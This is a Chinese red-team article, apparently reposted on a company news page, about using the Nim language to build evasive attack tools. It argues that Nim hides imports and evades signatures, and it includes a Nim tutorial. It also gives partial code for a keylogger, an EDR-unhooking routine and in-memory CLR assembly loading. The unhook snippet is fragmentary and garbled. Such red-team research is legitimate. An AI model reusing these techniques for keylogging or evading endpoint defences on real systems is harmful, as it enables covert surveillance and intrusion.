新聞中心
技術(shù)背景
對傳統(tǒng)的安全檢測設(shè)備和安全研究人員而言,新語言相對晦澀且冷門,具有語言本身的特性。在面對傳統(tǒng)的安全措施時(shí),繞過更加輕松,使得安全設(shè)備增大識別和檢測難度,大大增加安全防御成本。

在這些新的編程語言中,Nim語言尤其受到了攻擊者的青睞。其中,APT組織TA800在攻擊中多次使用Nim語言開發(fā)的NimzaLoader下載器;APT28組織的攻擊工具Zebrocy用Nim語言進(jìn)行重構(gòu)等。
本文將從藍(lán)軍研究人員的角度對Nim語言的優(yōu)勢和利用面進(jìn)行分析,希望能對讀者有所啟發(fā)。
Nim語言優(yōu)勢分析
1. 語言本身的優(yōu)勢
相較于其他同類語言,Nim擁有更簡潔的語法,執(zhí)行性能上也有所提高。類腳本語言式的語法和封裝完善的內(nèi)部函數(shù)降低了開發(fā)難度,更低的開發(fā)成本縮短了武器化項(xiàng)目開發(fā)周期。
效率上
如下圖,在求0到1億的秋水仙數(shù)時(shí),Nim的速度跟C語言不分伯仲,且比python快得多:
可讀性上
在語法和表達(dá)上,比起類C的語言需要有大括號和分號(比如JavaScript和C++),Nim語言更加地簡潔和易讀,同時(shí)也不具備Ruby語言的do和end等。
C++語言和Nim語言實(shí)現(xiàn)0到9的循環(huán)代碼,對比如下:
# Nim語言實(shí)現(xiàn)0-9的循環(huán)輸出
for i in 0 .. <10:
echo(i)
// C++ 實(shí)現(xiàn)0-9的輸出
#include
using namespace std;
int main()
{
for (int i = 0; i < 10; i++)
{
cout << i << endl;
}
return 0;
}
兼顧OPSEC特性的Win32 API調(diào)用
外部函數(shù)接口:指的是一種機(jī)制,使用一種編程語言編寫的程序可以調(diào)用用另一種編程語言編寫的服務(wù)(比如在Nim語言中可以調(diào)用使用C/C++編寫的Messagebox函數(shù))。
Nim有成熟的外部函數(shù)接口技術(shù)(FFI,使得Nim語言與Windows API交互的時(shí)候,具有OPSEC的特性,即使用Nim編寫的程序的外部導(dǎo)入函數(shù)不會真正顯示在可執(zhí)行文件的靜態(tài)導(dǎo)入表中 。對比如下:
使用C語言執(zhí)行MessageBox彈窗和用WinExec執(zhí)行計(jì)算器,代碼如下:
#include
int main(int argc, char* argv[])
{
MessageBoxA(0, "Hello, world !", "MessageBox Example", 0);
WinExec("calc.exe", SW_SHOW);
return 0;
}
查看C語言編程生成的exe文件的導(dǎo)出表,可以發(fā)現(xiàn)我們執(zhí)行的Windows Api函數(shù):
使用Nim語言執(zhí)行MessageBox彈窗和用WinExec執(zhí)行計(jì)算器,代碼如下:
proc MessageBoxA*(hWnd: int, lpText: cstring,
lpCaption: cstring, uType: int32): int32
{.discardable, stdcall, dynlib: "user'32", importc.}
MessageBoxA(0, "Hello, world !", "MessageBox Example", 0)
proc WinExec*(lpCmdLine:cstring,uCmdShow:int32): int32
{.discardable,stdcall,dynlib:"kernel32",importc.}
WinExec("calc.exe",0)
查看Nim語言生成的exe文件的導(dǎo)出表,沒有發(fā)現(xiàn)相關(guān)的Windows Api函數(shù)。
2. 分析對抗優(yōu)勢
對抗特征碼檢測
特征碼和哈希檢測在惡意軟件檢測手法中占據(jù)一席之地。研究者從程序中提取特征碼和哈希,編寫yara規(guī)則,實(shí)現(xiàn)對惡意軟件的匹配和檢測。
使用Nim語言重寫能使現(xiàn)存基于C/C++等語言的惡意程序重獲新生。這些程序的原始版本大多被各種靜態(tài)特征標(biāo)記,而使用Nim重構(gòu)后的程序無論是簽名哈希還是特征碼都會有所變化,達(dá)到繞過規(guī)則檢測的效果。
自帶混淆效果
Nim等新興語言對傳統(tǒng)分析者來說相對不熟悉與晦澀,針對性的分析工具的缺失,更使得新興語言本身幾乎自帶混淆效果。golang曾因其二進(jìn)制的特殊性被武器開發(fā)者青睞,但隨著諸如IDAGolangHelper的分析插件逐漸完善,分析成本已顯著降低。針對Nim語言二進(jìn)制文件的分析工具目前還不完善,其作為新興語言的紅利期尚未結(jié)束。比起常見的高級語言和其他新興語言,Nim語言給分析人員帶來了更大的逆向難度和成本,相關(guān)的安全措施也尚不成熟,這也就導(dǎo)致了越來越多的武器開發(fā)者利用Nim語言等新興語言編寫加載器,用于部署RAT或Cobalt Strike等攻擊軟件。
3. 交叉編譯和支持跨平臺優(yōu)勢
Nim語言支持交叉編譯,降低了攻擊者在制作、投遞不同架構(gòu)的軟件的的成本,攻擊者無需考慮由于架構(gòu)不同所造成的問題,只需要修改少量代碼就可以生成可以在不同系統(tǒng)上執(zhí)行的病毒,能極大地?cái)U(kuò)大攻擊面,降低開發(fā)成本。
在windows平臺下編譯在arm架構(gòu)下的linux程序:
nim c --cpu:amd64 --os:linux --compileOnly --genScript .\crossCompileTest.nim
執(zhí)行完后生成多個(gè)文件,將其復(fù)制到linux系統(tǒng)中,將nimbase.h也一并拷貝。
在linux中執(zhí)行該sh文件,生成linux下的可執(zhí)行文件并成功執(zhí)行:
4. 更多優(yōu)勢
可執(zhí)行文件大小優(yōu)化
使用參數(shù) -d:danger -d:strip --opt:size 對程序的大小有顯著的優(yōu)化。
過程如下,執(zhí)行命令:
nim c -d:danger -d:strip --opt:size .\begin.nim
如下圖,大小從204KB減少至39.5KB:
方便的winim庫
Nim的第三方庫winim提供了方便的Windows Api調(diào)用方法,提高了開發(fā)的效率,并且在使用winim和不使用winim的情況下兩者的大小區(qū)別并不大。
Nim語言基本語法
Nim的語法簡潔易讀,基本的語法語法使用如下:更多的語法性質(zhì)可上Nim官方文檔查詢。
# 1. 打印輸出
echo "Hello World"
# 2. 變量聲明和賦值 - 變量名:變量類型
var var1: int # int類型
var var2: string # 字符串類型
var1 = 3
var2 = "str"
# 3. 控制流
# 3.1 if-else
if var1 == 3:
echo "True"
elif var1 > 3:
echo "bigger"
elif var1 < 3:
echo "smaller"
# 3.2 switch case
case var1
of 3:
echo "Case:Yes,it's 3"
else:
echo "Case:No,it isn't 3"
# 3.3 for countup是迭代器,相當(dāng)于python的range
for i in countup(1,10):
echo i
# 3.4 while,break 用法,與python相近
while var1 == 3:
echo "while:Yes,it's 3"
break
# 4. Procedures 使用,相當(dāng)于 函數(shù)
# discardable 用于 聲明 返回值類型為 “丟棄”
proc Addpro(x, y: int): int {.discardable.} =
return x + y
echo(Addpro(3, 4)) # 輸出返回值
# 5. 高級數(shù)組類型
# 5.1 數(shù)組類型,大小固定不變
type
IntArray = array[1..5, int] # 索引從1到5,元素?cái)?shù)量為5個(gè)
var arr: IntArray
arr = [5,10,15,20,25]
for index, val in arr:
echo "Index: ", index, " Value = ", val
# 5.2 sep序列類型,相當(dāng)于動態(tài)數(shù)組或python的list
var arrSep: seq[int] #
arrSep = @[5,10] # 賦值方式和數(shù)組一樣用[],但前面多了個(gè)@符號
echo arrSep
# ... 有更多結(jié)構(gòu)體在nim官方文檔可查
# 6. 引用和指針
type # 自定義一個(gè)對象,相當(dāng)于結(jié)構(gòu)體
MyObj = object
name: string
age: int
var obj1: MyObj
obj1 = MyObj(name:"I",age:12)
echo obj1
echo sizeof(obj1) # sizeof(name) + sizeof(age) = 8
# 7. FFI使用,Nim語言最終編譯成C語言,所以使用FFI很方便
proc strcmp(a, b: cstring): cint {.importc: "strcmp", nodecl.}
let cmp = strcmp("C?", "Easy!")
echo cmp
Nim在藍(lán)軍武器中的實(shí)例
1. 鍵盤記錄器
使用Nim實(shí)現(xiàn)對Windows Api的調(diào)用,實(shí)現(xiàn)對鍵盤操作的hook,完成鍵盤記錄器。部分代碼如下:
elif keycode in KeyDict:
keypressed = KeyDict.getOrDefault(keycode)
else:
var capped: bool = (GetKeyState(20) != 0)
if (capped and shifted) or not (capped or shifted):
keypressed = $toLowerAscii(chr(ord(keycode)))
else:
keypressed = $toUpperAscii(chr(ord(keycode)))
echo fmt"[*] Key: {keypressed} [Window: '{currentActiveWindow}']"
return CallNextHookEx(0, nCode, wParam, lParam)
# hook鍵盤的函數(shù)
var hook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) HookCallback, 0, 0)
效果如下:
2. 躲避EDR檢測的unhook dll實(shí)現(xiàn)
unhook dll中利用新映射的dll的.text區(qū)塊復(fù)制到原本被hook的虛擬地址,實(shí)現(xiàn)覆蓋,解除edr對dll的hook,實(shí)現(xiàn)edr的檢測規(guī)避。
在Nim中,存在Emit pragma ,可直接在Nim中嵌入C/C++代碼。通過該語法將unhook dll相關(guān)代碼嵌入,實(shí)現(xiàn)調(diào)用。
我們在Nim中直接調(diào)用相關(guān)C++代碼,部分代碼如下:使用emit實(shí)現(xiàn)C++代碼嵌入。
>VirtualAddress), hookedSectionHeader->Misc.VirtualSize,
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWOR
VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize,
}
}
CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);
return 0;
}
3. CLR Hosting執(zhí)行shellcode
利用CLR 托管,可以實(shí)現(xiàn)在內(nèi)存中加載.Net 程序集,是一種隱匿的shellcode執(zhí)行方式。
在使用C\C++ 實(shí)現(xiàn)該功能時(shí),需要對clr進(jìn)行初始化。而在Nim中的winim庫,將clr的初始化相關(guān)工作都已經(jīng)進(jìn)行了處理,對開發(fā)者更加友好,減少了開發(fā)者的工作量。
相關(guān)代碼如下:
import winim/clr
var buf: array[,byte] = [...] # 省略要執(zhí)行的assembly
var assembly = load(buf)
var arr = toCLRVariant(commandLineParams(), VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
總結(jié)
Nim語言的新穎和其語言特性,在混淆、隱匿、免殺、開發(fā)等方面都有一定的優(yōu)勢,尤其適用于制作Loader和Dropper等武器化工具,在面對安全產(chǎn)品和安全措施時(shí)有一定的防御規(guī)避作用,攻擊者的使用頻率增大,警醒我們?nèi)プ龈嗟难芯?,值得我們?nèi)ネ诰蚱渲懈嗟目赡苄浴?/p>
本文題目:Nim語言在藍(lán)軍實(shí)戰(zhàn)中的研究總結(jié)
本文來源:http://www.dlmjj.cn/article/dppdhcg.html


咨詢
建站咨詢
